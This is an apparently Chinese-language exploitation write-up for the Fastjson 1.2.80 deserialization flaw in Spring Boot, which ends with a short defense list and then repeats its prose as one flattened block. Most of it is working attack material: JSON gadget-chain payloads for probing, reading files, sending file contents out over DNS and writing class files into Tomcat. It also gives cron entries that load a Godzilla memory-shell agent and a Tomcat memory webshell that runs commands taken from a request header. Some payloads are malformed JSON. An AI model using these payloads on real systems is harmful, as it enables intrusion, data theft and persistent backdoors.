fastjson1.2.80 in Springtboot实网利用记录
字数 719 2025-09-01 11:26:17

Fastjson 1.2.80 在 Spring Boot 环境中的实网利用分析与教学

一、漏洞背景

Fastjson 1.2.80 版本存在反序列化漏洞,攻击者可以通过精心构造的 JSON 数据实现远程代码执行(RCE)。本文档详细记录了在 Spring Boot 环境中利用该漏洞的完整过程和技术细节。

二、漏洞验证技术

1. 基础验证方法

1.1 布尔值检测法

传统 Fastjson 漏洞检测通常依赖布尔值返回差异,但在某些环境中可能不适用。

1.2 报错检测法

当目标环境不返回解析结果时,可使用报错检测:

{
  "abc": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/test"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },
    "boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [98]
      }
    ]
  },
  "address": {
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.CharSequenceReader",
    "charSequence": {
      "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"
    },
    "start": 0,
    "end": 0
  }
}

2. Fastjson 1.2.80 专用检测 Payload

{
    "a": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "${file}"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": ${data}
        }
      ]
    },
    "b": {
      "$ref": "$.a.BOM[0]"
    }
}

三、文件读取技术

1. 通过报错读取文件

{
    "a": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "${file}"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": ${data}
        }
      ]
    },
    "b": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {"$ref": "$.a.BOM[0]"},
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": [97]
        }
      ]
    }
}

2. 通过 DNS 外带数据

{
    "a": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "${file}"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": ${data}
        }
      ]
    },
    "b": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {"$ref": "$.a.BOM[0]"},
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": [1]
        }
      ]
    },
    "c": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "${dns}"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": [1]
        }
      ]
    },
    "zzz": {"$ref": "$.c.BOM[0]"}
}

四、文件写入与 RCE 技术

1. 基础文件写入 Payload

{
    "a": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.AutoCloseInputStream",
      "in": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "@type": "org.apache.commons.io.input.CharSequenceInputStream",
          "cs": {
            "@type": "java.lang.String"
            "\xCA\xFE\xBA\xBExxxxxxxxxxxxxxxx",
            "charset": "iso-8859-1",
            "bufferSize": 1024
          },
          "branch": {
            "@type": "org.apache.commons.io.output.WriterOutputStream",
            "writer": {
              "@type": "org.apache.commons.io.output.LockableFileWriter",
              "file": "/tmp/tomcat-docbase.9999.6522870832081637972/WEB-INF/classes/Tomcat678910cmdechoException.class",
              "charset": "iso-8859-1",
              "append": true
            },
            "charsetName": "iso-8859-1",
            "bufferSize": 1024,
            "writeImmediately": true
          },
          "closeBranch": true
        }
      },
      "b": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "org.apache.commons.io.input.XmlStreamReader",
          "inputStream": {
            "$ref": "$.a"
          },
          "httpContentType": "text/xml",
          "lenient": false,
          "defaultEncoding": "iso-8859-1"
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024
      },
      "c": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "org.apache.commons.io.input.XmlStreamReader",
          "inputStream": {
            "$ref": "$.a"
          },
          "httpContentType": "text/xml",
          "lenient": false,
          "defaultEncoding": "iso-8859-1"
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024
      }
}

2. 大文件写入技术

由于单次写入限制约为 8KB,需要多次发送 Payload 进行分段写入:

// Java 代码示例
String shellcode = "shellcode";
int size = 1024; // 缓冲区大小
CharSequenceInputStream inputStream = new CharSequenceInputStream(shellcode, "ISO-8859-1", size);
LockableFileWriter lockableFileWriter = new LockableFileWriter(new File("PocException5.txt"), "iso-8859-1", true, "tmp");
WriterOutputStream writerOutputStream = new WriterOutputStream(lockableFileWriter, "iso-8859-1", 1024, true);
TeeInputStream teeInputStream = new TeeInputStream(inputStream, writerOutputStream, true);
AutoCloseInputStream autoCloseInputStream = new AutoCloseInputStream(teeInputStream);

// 多次写入以突破大小限制
InputStream inputStream1 = new ReaderInputStream(new XmlStreamReader(autoCloseInputStream, "text/xml", false, "iso-8859-1"), "iso-8859-1", 1024);
InputStream inputStream2 = new ReaderInputStream(new XmlStreamReader(autoCloseInputStream, "text/xml", false, "iso-8859-1"), "iso-8859-1", 1024);

3. 内存马注入技术

当无法直接写入 Web 目录时,可通过计划任务注入内存马:

  1. 写入计划任务:
/var/spool/cron/root
* * * * * [ ! -f /tmp/out1.txt ] && ps -ef | grep xxxx.jar > /tmp/out1.txt
  1. 读取进程 ID 后注入 Agent 内存马:
* * * * * [ ! -f /tmp/out2.txt ] && java -jar /tmp/TomcatGodzillaMemShellAgent.jar pid > /tmp/out2.txt

五、Tomcat 内存马示例代码

package com.example.poc;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;

public class PocException extends Exception {
    static {
        run();
    }

    // ... 构造函数省略 ...

    private static String getReqHeaderName() {
        return "Accept-Lrezx";
    }

    private static void run() {
        try {
            Method var0 = Thread.class.getDeclaredMethod("getThreads", (Class[])(new Class[0]));
            var0.setAccessible(true);
            Thread[] var1 = (Thread[])((Thread[])((Thread[])var0.invoke((Object)null)));

            for(int var2 = 0; var2 < var1.length; ++var2) {
                if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) {
                    // ... 反射获取Request对象 ...
                    
                    try {
                        String var7 = (String)var3.get(var5.get(var6)).getClass().getMethod("getHeader", String.class)
                            .invoke(var3.get(var5.get(var6)), getReqHeaderName());
                        if (var7 != null) {
                            Object response = var4.getClass().getDeclaredMethod("getResponse").invoke(var4);
                            Writer writer = (Writer)response.getClass().getMethod("getWriter").invoke(response);
                            writer.write(exec(var7));
                            writer.flush();
                            writer.close();
                            break;
                        }
                    } catch (Exception var15) {}
                }
            }
        } catch (Throwable var16) {}
    }

    private static String exec(String cmd) {
        try {
            boolean isLinux = true;
            String osType = System.getProperty("os.name");
            if (osType != null && osType.toLowerCase().contains("win")) {
                isLinux = false;
            }

            String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = (new Scanner(in)).useDelimiter("\\a");

            String execRes;
            for(execRes = ""; s.hasNext(); execRes = execRes + s.next()) {}

            return execRes;
        } catch (Exception var8) {
            return var8.getMessage();
        }
    }
}

六、防御建议

  1. 升级 Fastjson 到最新安全版本
  2. 在反序列化时使用安全模式
  3. 限制 JSON 输入的内容和大小
  4. 使用白名单机制控制反序列化的类
  5. 监控系统异常行为,如大量计划任务创建

七、参考资源

  1. Squirt1e's blog
  2. luelueking/CVE-2022-25845-In-Spring
  3. Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析
  4. springboot环境下的写文件RCE
Fastjson 1.2.80 在 Spring Boot 环境中的实网利用分析与教学 一、漏洞背景 Fastjson 1.2.80 版本存在反序列化漏洞,攻击者可以通过精心构造的 JSON 数据实现远程代码执行(RCE)。本文档详细记录了在 Spring Boot 环境中利用该漏洞的完整过程和技术细节。 二、漏洞验证技术 1. 基础验证方法 1.1 布尔值检测法 传统 Fastjson 漏洞检测通常依赖布尔值返回差异,但在某些环境中可能不适用。 1.2 报错检测法 当目标环境不返回解析结果时,可使用报错检测: 2. Fastjson 1.2.80 专用检测 Payload 三、文件读取技术 1. 通过报错读取文件 2. 通过 DNS 外带数据 四、文件写入与 RCE 技术 1. 基础文件写入 Payload 2. 大文件写入技术 由于单次写入限制约为 8KB,需要多次发送 Payload 进行分段写入: 3. 内存马注入技术 当无法直接写入 Web 目录时,可通过计划任务注入内存马: 写入计划任务: 读取进程 ID 后注入 Agent 内存马: 五、Tomcat 内存马示例代码 六、防御建议 升级 Fastjson 到最新安全版本 在反序列化时使用安全模式 限制 JSON 输入的内容和大小 使用白名单机制控制反序列化的类 监控系统异常行为,如大量计划任务创建 七、参考资源 Squirt1e's blog luelueking/CVE-2022-25845-In-Spring Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 springboot环境下的写文件RCE